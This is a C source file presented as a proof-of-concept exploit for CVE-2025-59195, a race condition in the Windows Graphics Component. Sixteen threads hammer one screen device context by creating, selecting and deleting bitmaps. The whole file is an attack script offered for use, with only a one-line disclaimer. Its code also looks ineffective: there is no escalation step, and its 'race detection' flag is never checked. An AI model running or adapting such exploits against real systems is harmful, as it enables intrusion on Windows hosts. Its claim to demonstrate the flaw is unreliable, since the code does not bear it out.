// CVE-2025-59195 - Microsoft Graphics Component Race Condition PoC
// This PoC demonstrates a race condition exploit targeting the Windows Graphics Component
// Requires: Windows with vulnerable Graphics Component, low-privilege local access
// WARNING: This code is for educational and authorized testing purposes only
#include <windows.h>
#include <stdio.h>
#define NUM_THREADS 16
// Structure to share between threads
typedef struct _RACE_CONTEXT {
HDC hDC;
HBITMAP hBitmap;
HANDLE hEvent;
volatile LONG flag;
} RACE_CONTEXT, *PRACE_CONTEXT;
RACE_CONTEXT g_context = { 0 };
// Thread function that triggers the race condition
DWORD WINAPI RaceConditionThread(LPVOID lpParam) {
PRACE_CONTEXT ctx = (PRACE_CONTEXT)lpParam;
DWORD threadId = GetCurrentThreadId();
// Wait for synchronization event
WaitForSingleObject(ctx->hEvent, INFINITE);
// Rapidly create and delete graphics objects to trigger race condition
for (int i = 0; i < 1000; i++) {
// Create a compatible bitmap (shared resource)
ctx->hBitmap = CreateCompatibleBitmap(ctx->hDC, 1920, 1080);
// Select bitmap into device context - potential TOCTOU window
HGDIOBJ hOld = SelectObject(ctx->hDC, ctx->hBitmap);
// Perform graphics operations
BitBlt(ctx->hDC, 0, 0, 100, 100, NULL, 0, 0, BLACKNESS);
// Rapid deselection and deletion creates race window
SelectObject(ctx->hDC, hOld);
DeleteObject(ctx->hBitmap);
// Interlocked operation to detect race
InterlockedExchange(&ctx->flag, 1);
}
printf("Thread %lu completed\n", threadId);
return 0;
}
int main() {
printf("[+] CVE-2025-59195 PoC - Graphics Component Race Condition\n");
// Get a device context for the entire screen
g_context.hDC = GetDC(NULL);
if (!g_context.hDC) {
printf("[-] Failed to get device context\n");
return 1;
}
// Create synchronization event
g_context.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
// Launch multiple threads to trigger race condition
HANDLE hThreads[NUM_THREADS];
for (int i = 0; i < NUM_THREADS; i++) {
hThreads[i] = CreateThread(NULL, 0, RaceConditionThread, &g_context, 0, NULL);
}
// Release all threads simultaneously
Sleep(100);
SetEvent(g_context.hEvent);
// Wait for all threads to complete
WaitForMultipleObjects(NUM_THREADS, hThreads, TRUE, INFINITE);
// Cleanup
for (int i = 0; i < NUM_THREADS; i++) {
CloseHandle(hThreads[i]);
}
CloseHandle(g_context.hEvent);
ReleaseDC(NULL, g_context.hDC);
printf("[+] PoC execution completed\n");
return 0;
}